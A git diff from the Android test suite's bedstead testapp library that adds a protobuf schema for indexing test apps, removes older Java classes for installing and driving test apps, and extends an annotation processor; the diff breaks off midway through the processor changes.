+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
@@ -24,7 +24,7 @@
  * A reference to an {@link Activity} in a {@link TestApp}.
  */
 public final class UnresolvedTestAppActivity extends TestAppActivityReference {
-    UnresolvedTestAppActivity(TestAppInstanceReference instance,
+    UnresolvedTestAppActivity(TestAppInstance instance,
             ComponentReference component) {
         super(instance, component);
     }
diff --git a/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto b/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto
new file mode 100644
index 0000000..3f5c84d
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/library/main/proto/testapp_protos.proto
@@ -0,0 +1,51 @@
+syntax = "proto3";
+
+package com.android.bedstead.testapp;
+
+message TestAppIndex {
+  repeated AndroidApp apps = 1;
+}
+
+message AndroidApp {
+  string apk_name = 1;
+  string package_name = 2;
+  UsesSdk uses_sdk = 3;
+  repeated Permission permissions = 4;
+  repeated Activity activities = 5;
+  repeated Service services = 6;
+  bool test_only = 7;
+  repeated Metadata metadata = 8;
+  string sharedUserId = 9;
+}
+
+message UsesSdk {
+  uint32 minSdkVersion = 1;
+  uint32 targetSdkVersion = 2;
+  uint32 maxSdkVersion = 3;
+}
+
+message Permission {
+  string name = 1;
+}
+
+message Activity {
+  string name = 1;
+  bool exported = 2;
+  repeated IntentFilter intent_filters = 3;
+}
+
+message IntentFilter {
+  repeated string actions = 1;
+  repeated string categories = 2;
+}
+
+message Service {
+  string name = 1;
+  bool exported = 2;
+  repeated IntentFilter intent_filters = 3;
+}
+
+message Metadata {
+  string name = 1;
+  string value = 2;
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestApp.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestApp.java
deleted file mode 100644
index 7a4c309..0000000
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestApp.java
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.testapp;
-
-import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
-
-import android.content.Context;
-import android.os.UserHandle;
-
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.packages.Package;
-import com.android.bedstead.nene.packages.PackageReference;
-import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.testapp.processor.annotations.TestAppSender;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-
-/** Represents a single test app which can be installed and interacted with. */
-@TestAppSender
-public class TestApp {
-
-    private static final TestApis sTestApis = new TestApis();
-    // Must be instrumentation context to access resources
-    private static final Context sContext = sTestApis.context().instrumentationContext();
-    private final TestAppDetails mDetails;
-
-    TestApp(TestAppDetails details) {
-        if (details == null) {
-            throw new NullPointerException();
-        }
-        mDetails = details;
-    }
-
-    /**
-     * Get a {@link PackageReference} for the {@link TestApp}.
-     *
-     * <p>This will only be resolvable after the app is installed.
-     */
-    public PackageReference reference() {
-        return sTestApis.packages().find(packageName());
-    }
-
-    /**
-     * Get a {@link Package} for the {@link TestApp}, or {@code null} if it is not installed.
-     */
-    public Package resolve() {
-        return reference().resolve();
-    }
-
-    /**
-     * Install the {@link TestApp} on the device for the given {@link UserReference}.
-     */
-    public TestAppInstanceReference install(UserReference user) {
-        sTestApis.packages().install(user, apkBytes());
-        return new TestAppInstanceReference(this, user);
-    }
-
-    /**
-     * Install the {@link TestApp} on the device for the given {@link UserHandle}.
-     */
-    public TestAppInstanceReference install(UserHandle user) {
-        install(sTestApis.users().find(user));
-        return instance(user);
-    }
-
-    /**
-     * Uninstall the {@link TestApp} on the device from the given {@link UserReference}.
-     */
-    public void uninstall(UserReference user) {
-        reference().uninstall(user);
-    }
-
-    /**
-     * Uninstall the {@link TestApp} on the device from the given {@link UserHandle}.
-     */
-    public void uninstall(UserHandle user) {
-        uninstall(sTestApis.users().find(user));
-    }
-
-    /**
-     * Get a reference to the specific instance of this test app on a given user.
-     *
-     * <p>This does not check if the user exists, or if the test app is installed on the user.
-     */
-    public TestAppInstanceReference instance(UserHandle user) {
-        return instance(sTestApis.users().find(user));
-    }
-
-    /**
-     * Get a reference to the specific instance of this test app on a given user.
-     *
-     * <p>This does not check if the user exists, or if the test app is installed on the user.
-     */
-    public TestAppInstanceReference instance(UserReference user) {
-        if (user == null) {
-            throw new NullPointerException();
-        }
-        return new TestAppInstanceReference(this, user);
-    }
-
-    private byte[] apkBytes() {
-        try (InputStream inputStream =
-                     sContext.getResources().openRawResource(mDetails.mResourceIdentifier)) {
-            return readInputStreamFully(inputStream);
-        } catch (IOException e) {
-            throw new NeneException("Error when reading TestApp bytes", e);
-        }
-    }
-
-    /** Write the APK file to the given {@link File}. */
-    public void writeApkFile(File outputFile) throws IOException {
-        try (FileOutputStream output = new FileOutputStream(outputFile)) {
-            output.write(apkBytes());
-        }
-    }
-
-    /** The package name of the test app. */
-    public String packageName() {
-        return mDetails.mPackageName;
-    }
-}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivityReference.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivityReference.java
deleted file mode 100644
index b520263..0000000
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppActivityReference.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.testapp;
-
-import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.activities.ActivityReference;
-import com.android.bedstead.nene.packages.ComponentReference;
-import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.eventlib.events.activities.ActivityCreatedEvent;
-import com.android.eventlib.events.activities.ActivityStartedEvent;
-
-/**
- * A reference to an activity in a test app for which there may or may not be an instance.
- */
-public abstract class TestAppActivityReference {
-
-    static final TestApis sTestApis = new TestApis();
-
-    final TestAppInstanceReference mInstance;
-    final ComponentReference mComponent;
-
-    TestAppActivityReference(
-            TestAppInstanceReference instance,
-            ComponentReference component) {
-        mInstance = instance;
-        mComponent = component;
-    }
-
-    /** Gets the {@link TestAppInstanceReference} this activity exists in. */
-    public TestAppInstanceReference testAppInstance() {
-        return mInstance;
-    }
-
-    /** Gets the {@link ComponentReference} for this activity. */
-    public ComponentReference component() {
-        return mComponent;
-    }
-
-    /**
-     * Starts the activity.
-     */
-    public com.android.bedstead.nene.activities.Activity<TestAppActivity> start() {
-        // TODO(scottjonathan): Use a connected call to ensure this succeeds cross-user
-        Intent intent = new Intent();
-        intent.setComponent(mComponent.componentName());
-        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
-
-        try (PermissionContext p =
-                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
-            sTestApis.context().instrumentedContext().startActivity(intent);
-        }
-
-        ActivityStartedEvent
-                .queryPackage(mComponent.packageName().packageName())
-                .whereActivity().activityClass().className().isEqualTo(mComponent.className()).waitForEvent();
-
-        return sTestApis.activities().wrap(
-                TestAppActivity.class, new TestAppActivityImpl(mInstance, mComponent));
-    }
-
-    /**
-     * Starts the activity.
-     */
-    public com.android.bedstead.nene.activities.Activity<TestAppActivity> start(Bundle options) {
-        // TODO(scottjonathan): Use a connected call to ensure this succeeds cross-user
-        Intent intent = new Intent();
-        intent.setComponent(mComponent.componentName());
-        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
-        try (PermissionContext p =
-                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
-            sTestApis.context().instrumentedContext().startActivity(intent, options);
-        }
-
-        ActivityCreatedEvent
-                .queryPackage(mComponent.packageName().packageName())
-                .whereActivity().activityClass().className().isEqualTo(mComponent.className()).waitForEvent();
-
-        return sTestApis.activities().wrap(
-                TestAppActivity.class, new TestAppActivityImpl(mInstance, mComponent));
-    }
-
-    /**
-     * Get a reference to an already running activity.
-     *
-     * <p>If the activity is not running then this will still return a reference but calls will
-     * fail.
-     */
-    public com.android.bedstead.nene.activities.Activity<TestAppActivity> instance() {
-        return sTestApis.activities().wrap(
-                TestAppActivity.class, new TestAppActivityImpl(mInstance, mComponent));
-    }
-}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppInstanceReference.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppInstanceReference.java
deleted file mode 100644
index 4135520..0000000
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppInstanceReference.java
+++ /dev/null
@@ -1,240 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.testapp;
-
-import android.content.BroadcastReceiver;
-import android.content.IntentFilter;
-
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.packages.ProcessReference;
-import com.android.bedstead.nene.users.UserReference;
-
-import com.google.android.enterprise.connectedapps.ConnectionListener;
-import com.google.android.enterprise.connectedapps.CrossProfileConnector;
-import com.google.android.enterprise.connectedapps.exceptions.UnavailableProfileException;
-
-import java.util.HashMap;
-import java.util.Map;
-import java.util.UUID;
-
-import javax.annotation.Nullable;
-
-/**
- * A reference to a specific instance of a {@link TestApp} on a given user.
- *
- * <p>The user may not exist, or the test app may not be installed on the user.
- */
-public final class TestAppInstanceReference implements AutoCloseable, ConnectionListener {
-
-    private static final TestApis sTestApis = new TestApis();
-
-    private final TestApp mTestApp;
-    private final UserReference mUser;
-    private final CrossProfileConnector mConnector;
-    private final Map<IntentFilter, Long> mRegisteredBroadcastReceivers = new HashMap<>();
-    private boolean mKeepAliveManually = false;
-    private final ProfileTestAppController mTestAppController;
-    private final TestAppActivities mTestAppActivities;
-
-    TestAppInstanceReference(TestApp testApp, UserReference user) {
-        mTestApp = testApp;
-        mUser = user;
-        mConnector = CrossProfileConnector.builder(sTestApis.context().instrumentedContext())
-                .setBinder(new TestAppBinder(this))
-                .build();
-        mConnector.registerConnectionListener(this);
-        mTestAppController =
-                ProfileTestAppController.create(mConnector);
-        mTestAppActivities = TestAppActivities.create(this);
-    }
-
-    CrossProfileConnector connector() {
-        return mConnector;
-    }
-
-    /**
-     * Access activities on the test app.
-     */
-    public TestAppActivities activities() {
-        return mTestAppActivities;
-    }
-
-    /**
-     * The {@link TestApp} this instance refers to.
-     */
-    public TestApp testApp() {
-        return mTestApp;
-    }
-
-    /**
-     * The {@link UserReference} this instance refers to.
-     */
-    public UserReference user() {
-        return mUser;
-    }
-
-    /**
-     * Uninstall the {@link TestApp} from the user referenced by
-     * this {@link TestAppInstanceReference}.
-     */
-    public void uninstall() {
-        mTestApp.uninstall(mUser);
-    }
-
-    /**
-     * Register a {@link BroadcastReceiver} for a given {@link IntentFilter}.
-     *
-     * <p>A new {@link BroadcastReceiver} instance will be created for each {@link IntentFilter}.
-     *
-     * <p>Note that {@link IntentFilter} does not override {@code equals} and one broadcast receiver
-     * will be registered for each instance of {@link IntentFilter} regardless of the content of the
-     * {@link IntentFilter}.
-     *
-     * <p>As registered receivers are only active while the application is open, calling this method
-     * will have the same effect as calling {@link #keepAlive()}.
-     */
-    public void registerReceiver(IntentFilter intentFilter) {
-        if (mRegisteredBroadcastReceivers.containsKey(intentFilter)) {
-            return;
-        }
-
-        long receiverId = UUID.randomUUID().getMostSignificantBits();
-        registerReceiver(intentFilter, receiverId);
-        keepAlive(/* manualKeepAlive= */ false);
-    }
-
-    private void registerReceiver(IntentFilter intentFilter, long receiverId) {
-        try {
-            mConnector.connect();
-            mTestAppController.other().registerReceiver(receiverId, intentFilter);
-            mRegisteredBroadcastReceivers.put(intentFilter, receiverId);
-        } catch (UnavailableProfileException e) {
-            throw new IllegalStateException("Could not connect to test app", e);
-        } finally {
-            mConnector.stopManualConnectionManagement();
-        }
-    }
-
-    /**
-     * Unregister the receiver
-     * @param intentFilter
-     */
-    public TestAppInstanceReference unregisterReceiver(IntentFilter intentFilter) {
-        if (!mRegisteredBroadcastReceivers.containsKey(intentFilter)) {
-            return this;
-        }
-
-        long receiverId = mRegisteredBroadcastReceivers.remove(intentFilter);
-
-        try {
-            mConnector.connect();
-            mTestAppController.other().unregisterReceiver(receiverId);
-            mRegisteredBroadcastReceivers.put(intentFilter, receiverId);
-        } catch (UnavailableProfileException e) {
-            throw new IllegalStateException("Could not connect to test app", e);
-        } finally {
-            mConnector.stopManualConnectionManagement();
-        }
-
-        if (mRegisteredBroadcastReceivers.isEmpty() && !mKeepAliveManually) {
-            stopKeepAlive();
-        }
-
-        return this;
-    }
-
-    /**
-     * Starts keeping the test app process alive.
-     *
-     * <p>This ensures that it will receive broadcasts using registered broadcast receivers.
-     *
-     * @see {@link #stopKeepAlive()}.
-     */
-    public TestAppInstanceReference keepAlive() {
-        keepAlive(/* manualKeepAlive=*/ true);
-        return this;
-    }
-
-    /**
-     * Starts keep alive mode and marks it as manual so that it won't be automatically ended if
-     * the last broadcast receiver is unregistered.
-     */
-    private void keepAlive(boolean manualKeepAlive) {
-        mKeepAliveManually = manualKeepAlive;
-        try {
-            connector().connect();
-        } catch (UnavailableProfileException e) {
-            throw new IllegalStateException("Could not connect to test app. Is it installed?", e);
-        }
-    }
-
-    /**
-     * Stops keeping the target app alive.
-     *
-     * <p>This will not kill the app immediately. To do that see {@link #stop()}.
-     */
-    public TestAppInstanceReference stopKeepAlive() {
-        mKeepAliveManually = false;
-        connector().stopManualConnectionManagement();
-        return this;
-    }
-
-    /**
-     * Immediately force stops the app.
-     *
-     * <p>This will also stop keeping the target app alive (see {@link #stopKeepAlive()}.
-     */
-    public TestAppInstanceReference stop() {
-        stopKeepAlive();
-
-        ProcessReference process = mTestApp.reference().runningProcess(mUser);
-        if (process != null) {
-            try {
-                process.kill();
-            } catch (NeneException e) {
-                throw new NeneException("Error killing process... process is " + process(), e);
-            }
-        }
-
-        return this;
-    }
-
-    /**
-     * Gets the {@link ProcessReference} of the app, if any.
-     */
-    @Nullable
-    public ProcessReference process() {
-        return mTestApp.reference().runningProcess(mUser);
-    }
-
-    @Override
-    public void close() {
-        stopKeepAlive();
-        uninstall();
-    }
-
-    @Override
-    public void connectionChanged() {
-        if (mConnector.isConnected()) {
-            // re-register broadcast receivers when re-connected
-            for (Map.Entry<IntentFilter, Long> entry : mRegisteredBroadcastReceivers.entrySet()) {
-                registerReceiver(entry.getKey(), entry.getValue());
-            }
-        }
-    }
-}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppProvider.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppProvider.java
deleted file mode 100644
index 2ef6ae8..0000000
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppProvider.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.testapp;
-
-import android.content.Context;
-
-import com.android.bedstead.nene.TestApis;
-
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.HashSet;
-import java.util.Set;
-
-/** Entry point to Test App. Used for querying for {@link TestApp} instances. */
-public final class TestAppProvider {
-
-    private static final TestApis sTestApis = new TestApis();
-    // Must be instrumentation context to access resources
-    private static final Context sContext = sTestApis.context().instrumentationContext();
-
-    private boolean mTestAppsInitialised = false;
-    private final Set<TestAppDetails> mTestApps = new HashSet<>();
-
-    /** Begin a query for a {@link TestApp}. */
-    public TestAppQueryBuilder query() {
-        return new TestAppQueryBuilder(this);
-    }
-
-    /** Get any {@link TestApp}. */
-    public TestApp any() {
-        return query().get();
-    }
-
-    Set<TestAppDetails> testApps() {
-        initTestApps();
-        return mTestApps;
-    }
-
-    private void initTestApps() {
-        if (mTestAppsInitialised) {
-            return;
-        }
-        mTestAppsInitialised = true;
-
-        int indexId = sContext.getResources().getIdentifier(
-                "raw/index", /* defType= */ null, sContext.getPackageName());
-
-        try (InputStream inputStream = sContext.getResources().openRawResource(indexId);
-             BufferedReader bufferedReader =
-                     new BufferedReader(new InputStreamReader(inputStream))) {
-            String apkName;
-            while ((apkName = bufferedReader.readLine()) != null) {
-                loadApk(apkName);
-            }
-        } catch (IOException e) {
-            throw new RuntimeException("TODO");
-        }
-    }
-
-    private void loadApk(String apkName) {
-        TestAppDetails details = new TestAppDetails();
-        details.mPackageName = "android." + apkName; // TODO: Actually index the package name
-        details.mResourceIdentifier = sContext.getResources().getIdentifier(
-                "raw/" + apkName, /* defType= */ null, sContext.getPackageName());
-
-        mTestApps.add(details);
-    }
-
-    void markTestAppUsed(TestAppDetails testApp) {
-        mTestApps.remove(testApp);
-    }
-}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppQueryBuilder.java b/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
deleted file mode 100644
index 3daf89e..0000000
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.testapp;
-
-import com.android.queryable.Queryable;
-import com.android.queryable.queries.StringQuery;
-import com.android.queryable.queries.StringQueryHelper;
-
-/** Builder for progressively building {@link TestApp} queries. */
-public final class TestAppQueryBuilder implements Queryable {
-    private final TestAppProvider mProvider;
-
-    StringQueryHelper<TestAppQueryBuilder> mPackageName = new StringQueryHelper<>(this);
-
-    TestAppQueryBuilder(TestAppProvider provider) {
-        if (provider == null) {
-            throw new NullPointerException();
-        }
-        mProvider = provider;
-    }
-
-    /**
-     * Query for a {@link TestApp} with a given package name.
-     *
-     * <p>Only use this filter when you are relying specifically on the package name itself. If you
-     * are relying on features you know the {@link TestApp} with that package name has, query for
-     * those features directly.
-     */
-    public StringQuery<TestAppQueryBuilder> wherePackageName() {
-        return mPackageName;
-    }
-
-    /**
-     * Get the {@link TestApp} matching the query.
-     *
-     * @throws NotFoundException if there is no matching @{link TestApp}.
-     */
-    public TestApp get() {
-        // TODO(scottjonathan): Provide instructions on adding the TestApp if the query fails
-        return new TestApp(resolveQuery());
-    }
-
-    private TestAppDetails resolveQuery() {
-        for (TestAppDetails details : mProvider.testApps()) {
-            if (!matches(details)) {
-                continue;
-            }
-
-            mProvider.markTestAppUsed(details);
-            return details;
-        }
-
-        throw new NotFoundException(this);
-    }
-
-    private boolean matches(TestAppDetails details) {
-        if (!StringQueryHelper.matches(mPackageName, details.mPackageName)) {
-            return false;
-        }
-
-        return true;
-    }
-}
diff --git a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java b/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
deleted file mode 100644
index 34b9ef2..0000000
--- a/common/device-side/bedstead/testapp/src/main/testapps/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.testapp;
-
-import android.app.Activity;
-import android.app.AppComponentFactory;
-import android.content.BroadcastReceiver;
-import android.content.Intent;
-import android.util.Log;
-
-import com.android.bedstead.testapp.processor.annotations.TestAppReceiver;
-
-/**
- * An {@link AppComponentFactory} which redirects invalid class names to premade TestApp classes.
- */
-@TestAppReceiver
-public final class TestAppAppComponentFactory extends AppComponentFactory {
-
-    private static final String LOG_TAG = "TestAppACF";
-
-    @Override
-    public Activity instantiateActivity(ClassLoader classLoader, String className, Intent intent)
-            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
-
-        try {
-            return super.instantiateActivity(classLoader, className, intent);
-        } catch (ClassNotFoundException e) {
-            Log.d(LOG_TAG,
-                    "Activity class (" + className + ") not found, routing to TestAppActivity");
-            BaseTestAppActivity activity =
-                    (BaseTestAppActivity) super.instantiateActivity(
-                            classLoader, BaseTestAppActivity.class.getName(), intent);
-            activity.setOverrideActivityClassName(className);
-            return activity;
-        }
-    }
-
-    @Override
-    public BroadcastReceiver instantiateReceiver(ClassLoader classLoader, String className,
-            Intent intent)
-            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
-        try {
-            return super.instantiateReceiver(classLoader, className, intent);
-        } catch (ClassNotFoundException e) {
-            Log.d(LOG_TAG, "Broadcast Receiver class (" + className
-                    + ") not found, routing to TestAppBroadcastReceiver");
-
-            BaseTestAppBroadcastReceiver receiver = (BaseTestAppBroadcastReceiver)
-                    super.instantiateReceiver(
-                            classLoader, BaseTestAppBroadcastReceiver.class.getName(), intent);
-            receiver.setOverrideBroadcastReceiverClassName(className);
-            return receiver;
-        }
-    }
-}
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
index ce486b9..03fbceb 100644
--- a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
@@ -17,6 +17,7 @@
 package com.android.bedstead.testapp.processor;
 
 
+import com.android.bedstead.testapp.processor.annotations.FrameworkClass;
 import com.android.bedstead.testapp.processor.annotations.TestAppReceiver;
 import com.android.bedstead.testapp.processor.annotations.TestAppSender;
 
@@ -26,16 +27,21 @@
 import com.google.auto.service.AutoService;
 import com.squareup.javapoet.AnnotationSpec;
 import com.squareup.javapoet.ClassName;
+import com.squareup.javapoet.CodeBlock;
 import com.squareup.javapoet.FieldSpec;
 import com.squareup.javapoet.JavaFile;
 import com.squareup.javapoet.MethodSpec;
 import com.squareup.javapoet.ParameterSpec;
+import com.squareup.javapoet.TypeName;
 import com.squareup.javapoet.TypeSpec;
 
 import java.io.IOException;
 import java.io.PrintWriter;
 import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 import java.util.stream.Collectors;
 
@@ -43,11 +49,17 @@
 import javax.annotation.processing.RoundEnvironment;
 import javax.annotation.processing.SupportedAnnotationTypes;
 import javax.lang.model.SourceVersion;
+import javax.lang.model.element.Element;
 import javax.lang.model.element.ExecutableElement;
 import javax.lang.model.element.Modifier;
 import javax.lang.model.element.TypeElement;
 import javax.lang.model.element.VariableElement;
+import javax.lang.model.type.MirroredTypeException;
+import javax.lang.model.type.MirroredTypesException;
 import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
+import javax.lang.model.util.Elements;
+import javax.lang.model.util.Types;
 import javax.tools.JavaFileObject;
 
 /** Processor for generating TestApp API for remote execution. */
@@ -57,13 +69,15 @@
 })
 @AutoService(javax.annotation.processing.Processor.class)
 public final class Processor extends AbstractProcessor {
-    // TODO(scottjonathan): Add more verification before generating - and add processor tests
+    public static final String PACKAGE_NAME = "com.android.bedstead.testapp";
+    private static final ClassName RETRY_CLASSNAME =
+            ClassName.get("com.android.bedstead.nene.utils", "Retry");
     private static final ClassName CONTEXT_CLASSNAME =
             ClassName.get("android.content", "Context");
-    private static final ClassName NENE_ACTIVITY_CLASSNAME =
+    private static final ClassName REMOTE_ACTIVITY_CLASSNAME =
             ClassName.get(
-                    "com.android.bedstead.nene.activities",
-                    "NeneActivity");
+                    "android.app",
+                    "RemoteActivity");
     private static final ClassName TEST_APP_ACTIVITY_CLASSNAME =
             ClassName.get(
                     "com.android.bedstead.testapp",
@@ -95,22 +109,66 @@
     private static final ClassName CROSS_PROFILE_CONNECTOR_CLASSNAME =
             ClassName.get("com.google.android.enterprise.connectedapps",
                     "CrossProfileConnector");
-    private static final ClassName UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME =
-            ClassName.get(
-                    "com.google.android.enterprise.connectedapps.exceptions",
-                    "UnavailableProfileException");
     private static final ClassName PROFILE_RUNTIME_EXCEPTION_CLASSNAME =
             ClassName.get(
                     "com.google.android.enterprise.connectedapps.exceptions",
                     "ProfileRuntimeException");
     private static final ClassName NENE_EXCEPTION_CLASSNAME =
             ClassName.get(
-                    "com.android.bedstead.nene.exceptions", "NeneException");
-    private static final ClassName TEST_APP_INSTANCE_REFERENCE_CLASSNAME =
-            ClassName.get("com.android.bedstead.testapp", "TestAppInstanceReference");
+                    "com.android.bedstead.nene.exceptions",
+                    "NeneException");
+    private static final ClassName TEST_APP_INSTANCE_CLASSNAME =
+            ClassName.get("com.android.bedstead.testapp", "TestAppInstance");
     private static final ClassName COMPONENT_REFERENCE_CLASSNAME =
-            ClassName.get("com.android.bedstead.nene.packages", "ComponentReference");
-    public static final String PACKAGE_NAME = "com.android.bedstead.testapp";
+            ClassName.get("com.android.bedstead.nene.packages",
+                    "ComponentReference");
+    private static final ClassName REMOTE_DEVICE_POLICY_MANAGER_PARENT_CLASSNAME =
+            ClassName.get("android.app.admin", "RemoteDevicePolicyManagerParent");
+    private static final ClassName DEVICE_POLICY_MANAGER_CLASSNAME =
+            ClassName.get("android.app.admin", "DevicePolicyManager");
+    private static final ClassName COMPONENT_NAME_CLASSNAME =
+            ClassName.get("android.content", "ComponentName");
+    private static final ClassName REMOTE_DEVICE_POLICY_MANAGER_PARENT_WRAPPER_CLASSNAME =
+            ClassName.get("android.app.admin",
+                    "RemoteDevicePolicyManagerParentWrapper");
+    private static final ClassName REMOTE_CONTENT_RESOLVER_WRAPPER_CLASSNAME =
+            ClassName.get("android.content",
+                    "RemoteContentResolverWrapper");
+
+    /**
+     * Extract classes provided in an annotation.
+     *
+     * <p>The {@code runnable} should call the annotation method that the classes are being
+     * extracted for.
+     */
+    public static List<TypeElement> extractClassesFromAnnotation(Types types, Runnable runnable) {
+        try {
+            runnable.run();
+        } catch (MirroredTypesException e) {
+            return e.getTypeMirrors().stream()
+                    .map(t -> (TypeElement) types.asElement(t))
+                    .collect(Collectors.toList());
+        }
+        throw new AssertionError("Could not extract classes from annotation");
+    }
+
+    /**
+     * Extract a class provided in an annotation.
+     *
+     * <p>The {@code runnable} should call the annotation method that the class is being extracted
+     * for.
+     */
+    public static TypeElement extractClassFromAnnotation(Types types, Runnable runnable) {
+        try {
+            runnable.run();
+        } catch (MirroredTypeException e) {
+            return e.getTypeMirrors().stream()
+                    .map(t -> (TypeElement) types.asElement(t))
+                    .findFirst()
+                    .get();
+        }
+        throw new AssertionError("Could not extract class from annotation");
+    }
 
     @Override
     public SourceVersion getSupportedSourceVersion() {
@@ -123,25 +181,291 @@
 
         TypeElement neneActivityInterface =
